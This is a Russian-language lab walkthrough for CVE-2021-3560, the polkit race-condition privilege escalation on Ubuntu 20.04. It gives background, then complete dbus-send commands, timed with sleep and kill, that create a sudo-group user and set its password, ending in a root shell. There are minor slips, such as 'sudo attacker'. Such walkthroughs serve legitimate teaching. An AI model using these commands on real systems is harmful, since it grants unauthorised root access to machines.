
Пошаговое руководство по эксплуатации CVE-2021-3560, уязвимости повышения привилегий polkit, включая предысторию, анализ уязвимости и команды ручной эксплуатации.
В начале 2021 года исследователь по имени Кевин Бэкхаус обнаружил семилетнюю уязвимость повышения привилегий (впоследствии обозначенную CVE-2021-3560) в утилите polkit в Linux. К счастью, разные дистрибутивы Linux (и даже разные версии одних и тех же дистрибутивов) используют разные версии программного обеспечения, что означает, что уязвимы только некоторые из них.
В частности, следующие основные дистрибутивы, среди прочих, были уязвимы:
Red Hat Enterprise Linux 8
Fedora 21 (or later)
Debian Testing ("Bullseye")
Ubuntu 20.04 LTS ("Focal Fossa")
Все они должны были выпустить исправленные версии своих соответствующих пакетов polkit, однако, если вы столкнетесь с одним из этих дистрибутивов, он всё ещё может быть уязвимым, если его не обновляли некоторое время.
В этой комнате мы сосредоточимся конкретно на Ubuntu 20.04. Canonical выпустила патч для своей версии polkit (policykit-1), которая имеет номер версии 0.105-26ubuntu1.1. Последняя уязвимая версия, доступная в репозиториях apt для Focal Fossa, — 0.105-26ubuntu1, так что если вы её увидите, возможно, вам повезёт!
Мы можем использовать apt list --installed | grep policykit-1 для проверки установленной версии polkit:
Логичный вопрос, который сейчас напрашивается: «Что такое polkit?»
Polkit — часть системы авторизации в Linux. По сути, когда вы пытаетесь выполнить действие, требующее повышенных привилегий, policy toolkit может быть использован для определения, есть ли у вас необходимые разрешения. Он интегрирован с systemd и гораздо более настраиваем, чем традиционная система sudo. Действительно, его иногда называют «sudo от systemd».
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
Эта команда вручную отправляет dbus-сообщение демону учётных записей, выводя ответ и создавая нового пользователя с именем attacker (string:attacker), описанием "Pentester Account" (string:"Pentester Account") и членством в группе sudo, установленным в true (на что указывает флаг int32:1).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'
Это снова отправляет dbus-сообщение демону учётных записей, запрашивая смену пароля для пользователя с указанным нами ID (показан красным), хеш пароля, который нам нужно сгенерировать вручную, и подсказку ("Ask the pentester").
Поскольку это фактически состояние гонки, сначала нам нужно определить, сколько времени займёт выполнение команды. Попробуем это с первым dbus-сообщением:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
например:
real 0m0.11s
user 0m0.002s
sys 0m0000s
Это занимает 0.011 секунд, или 11 миллисекунд. Это число будет немного различаться каждый раз при выполнении команды; однако на предоставленной машине оно всегда должно быть примерно таким.
Нам нужно убить команду примерно на середине выполнения. Пять миллисекунд обычно работают достаточно хорошо на предоставленной машине; однако имейте в виду, что это не точная наука. Возможно, вам нужно будет изменить время ожидания или выполнить команду несколько раз, пока она не сработает. Тем не менее, как только вы найдёте работающее время, оно должно срабатывать стабильно. Если вам сложно подобрать время, помещение команды в bash-цикл for и быстрый перебор диапазона времени обычно работает достаточно хорошо.
Попробуем это. Нам нужно отправить dbus-сообщение, затем убить его примерно на середине:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
Поясним вышеуказанную команду: мы отправили dbus-сообщение в фоновом задании (используя амперсанд для перевода команды в фоновый режим). Затем мы указали ему подождать 5 миллисекунд (sleep 0.005s), а затем убить предыдущий процесс ($!). Это успешно создало нового пользователя, добавив его в группу sudo.
На этом этапе следует отметить, что идентификатор пользователя нового пользователя в данном случае равен 1000.
id attacker
Теперь всё, что нам нужно сделать, это задать пароль пользователю, и мы готовы к работе!
Нам нужен хеш пароля, так что давайте сгенерируем хеш Sha512Crypt для нашего выбранного пароля (Expl01ted):
openssl passwd -6 Expl01ted
С помощью openssl мы генерируем пароль типа 6 (SHA512-crypt) и наш пароль в открытом виде (Expl01ted).
Теперь давайте завершим это! 5 миллисекунд сработало в прошлый раз, так что должно сработать и здесь:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
sudo attacker
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about